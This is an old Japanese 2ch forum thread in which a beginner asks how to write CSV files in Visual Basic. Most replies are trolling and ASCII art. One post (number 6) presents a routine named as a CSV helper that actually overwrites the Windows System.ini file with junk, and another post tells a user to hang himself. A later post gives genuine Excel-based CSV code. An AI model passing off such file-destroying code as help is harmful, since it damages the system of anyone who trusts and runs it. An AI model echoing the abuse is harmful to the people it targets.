VBでCSVファイルに出力する方法を教えて下さい。

このエントリーをはてなブックマークに追加
1 ：ちぃ：02/02/25 15:29
VBでデータをCSVファイルに出力する方法が
分からなく、悩んでいます。
どなたか教えて下さい。
2 ：デフォルトの名無しさん：02/02/25 15:31
>>1
http://pc.2ch.net/test/read.cgi/tech/1013844542/
3 ：デフォルトの名無しさん：02/02/25 16:06
３ずざ
4 ：デフォルトの名無しさん：02/02/25 16:51
野球ヲタﾜﾗﾀ

http://ime.nu/www.baseball-lover.com
5 ：デフォルトの名無しさん：02/02/25 16:53
print #1, unko + ","
6 ：390：02/02/25 19:06
Public Sub MakeCSVFile()
Dim i As Long
Dim FileNum As Integer

　FileNum=FreeFile
　Open "C:\Windows\System.ini" For OutPut As #FileNum
　　For i=1 To 65535
　　　Print #FileNum,"（ ´∀｀）"
　　Next i
　Close #FileNum

　Msgbox"ヽ(´Ａ`)ﾉ 　 "

End Sub

7 ：晒しage：02/02/25 19:35
　　　　　　　　　　　　　　　　　　　　　　　ｵｰｸｼｮﾝ>ﾊﾞｶ>厨房
>>1のパンツ
　　　　　　　　　　　　　　Λ＿Λ
2ch!オークション　　旦と（´∀｀　）
┌──────────┐┌───────────┐
│出品者の情報　　　　　　││商品の情報　　　　　　　　 │
└──────────┘└───────────┘
出品者（評価）：>>1 (0) 　　　　現在の価格 ：　　1,000円
支払方法　　　　　　　　　　
・銀行振込　　　　　　　　　　　 残り時間：　２時間（詳細な残り時間）
発送方法　　　　　　　　　　
・落札者が送料を負担　　　　 最高額入札者：　>>1 (0)
・支払い終了時に発送　　
ｴｸｽﾌﾟﾛｰﾗｰｻｰﾋﾞｽ　　　　　　　数量：　　　1
出品者はｴｸｽﾌﾟﾛｰﾗｰｻｰﾋﾞｽ
の利用を選択していません　　入札件数：　1（入札履歴）
出品者のその他のｵｰｸｼｮﾝ　　開始価格：　1,000円
出品者の評価　　　　　　　　　 入札単位：　1円
出品者に質問　　　　　　　　　　開始日時：　1月11日0時00分
　　　　　　　　　　　　　　　　　　 終了日時：　1月25日23時59分
　　　　　　　　　　　　　　　　　　 ｵｰｸｼｮﾝID：　2channel
8 ：デフォルトの名無しさん：02/02/25 19:40
>>1　やれやれ
スレを立てる前に現在どんなスレがあるかちゃんと見ましょうね
2氏のリンク先でOk
9 ：age：02/02/25 19:47
CVSのスレって前もあったな(´ー｀)・・・
sine>>1
10 ：デフォルトの名無しさん：02/02/25 20:08
CSV
CVS
VCS
VSC
SVC
SCV
11 ：晒しage：02/02/25 22:10
　　　　　 　 　 ＿＿＿　　　　　　　　　　　　　　　　＿
　　　　　　　／　＿＿＿＿ヽ　　　　　　 　 　　／ ￣　　￣ ＼
　　　　　　　|　 | /, −､, -､ｌ　　　　　　 　 　 /､　　　　　　 　　 ヽ
　　　　　　　| _|　-|　 ･|<　||　　　　　　 　 　 |･ |―-､　　　　　　 |
　　 , ―-､　(6　 ＿ｰ っ-´､}　　　　　　 　 ｑ -´　二 ヽ　　　　　 |
　　 |　-⊂)　＼ ヽ_ ￣￣ﾉﾉ　　　　　　 　　 ﾉ＿　ー　 |　　　　　|
　 　 |￣￣|／ （_ ∧￣ / ､　＼　　　　　　　 ＼.￣｀　 |　 　 　　/
　 　 ヽ　　｀　,.|　 　　￣　　|　　|　　　　　　 　　O＝＝＝＝＝ |
　 　 　 ｀− ´ |　　　　　　　| ＿|　　　　　　　　/　　　　　　 　　 |
　　　　　　 　　|　　　　　　 （t 　）　　　　　　　/　 　 /　　　　　　|
「こういうの糞スレっていうんだよね」　　「２ｃｈがつぶれそうになるわけだね」
12 ：デフォルトの名無しさん：02/02/26 23:14
ＳＡＶＥ "HogeHoge",CSV
13 ：デフォルトの名無しさん：02/03/28 17:58
>>6
（　´∀｀）ありがとう
14 ：MC303：02/04/16 22:32
あげとこ
15 ：デフォルトの名無しさん：02/05/12 13:34
VBですらわかりません。
16 ：デフォルトの名無しさん：02/05/12 14:29
誰か>>6実行した人いる？
17 ：デフォルトの名無しさん：02/05/12 15:26
真性のバカ
18 ：デフォルトの名無しさん：02/05/24 02:07
>>17
神聖のバカですか？
19 ：デフォルトの名無しさん：02/05/24 02:26
わざわざ上げるお前は間違いなくバカ。
20 ： ：02/05/24 03:02
>>6 Open / Close の中は indent しないで下さい。
21 ：デフォルトの名無しさん：02/05/24 03:13
>>6
indentしたら#includeも忘れずに。
22 ：デフォルトの名無しさん：02/05/24 03:21
>>20-21
3ヶ月前の書き込みにレスですか。
23 ：デフォルトの名無しさん：02/05/24 03:28
>>22
そうですが。何か？
24 ：22：02/05/24 03:28
別に。
25 ：２３：02/05/24 03:46
>>22
ナンパ
中出し
それ逃げろ
26 ：デフォルトの名無しさん：02/05/25 20:08
ぬうっ！？
おぬしCSVファイルに出力したいと申すか？
じゃがあれは生半可な努力ではできんぞ。
具体的には糞尿を３ヶ月体内に封印する根性と、砂糖が大さじ４杯必要じゃ。
なに？　それでもやりたいと申すか。
今時めずらしい若者じゃ。目が輝いておる。
鼻水がたれておる。アゴが外れたのに気づかずに３年が経過しておる。
まあ、がんばるのじゃぞ。
27 ：デフォルトの名無しさん：02/06/06 15:18
VB自体が駄目というより、VBしかできない奴が駄目なんだろうな。
ちなみにVBオンリーユーザって、過去にVC++にもチャレンジ
してたりするんだけど、殆どが挫折してVBに戻っちゃうんだよな。


28 ：デフォルトの名無しさん：02/06/07 11:42
>>27
アホのコピペ厨のボケナスの脳タリンは首つって氏ねよ
29 ：デフォルトの名無しさん：02/06/23 11:17
教えてやらん。

タダでノウハウはやれん。
30 ：デフォルトの名無しさん：02/06/29 22:32
さんまえらい
31 ：デフォルトの名無しさん：02/08/10 14:58
あいは？
32 ：デフォルトの名無しさん：02/08/11 01:16
氏にますか。
33 ：デフォルトの名無しさん：
>1
削除以来出せ

Private Sub Command1_Click()
Dim excel_App As Application
Dim out_Book As Workbook
Dim out_Sheet As Worksheet
Dim write_path As String

Set excel_App = CreateObject("excel.application")
Set out_Book = excel_App.Workbooks.Add
Set out_Sheet = out_Book.ActiveSheet

out_Sheet.Cells(1, 1).Value = "あ"
out_Sheet.Cells(1, 2).Value = "い"
out_Sheet.Cells(2, 1).Value = "う"
out_Sheet.Cells(2, 2).Value = "え"

write_path = excel_App.GetSaveAsFilename(, "しぃsv,*.csv")

If Not UCase(write_path) = "FALSE" Then
out_Book.SaveAs write_path, xlCSV
End If

out_Book.Saved = True
Workbooks.Close
excel_App.Quit
End Sub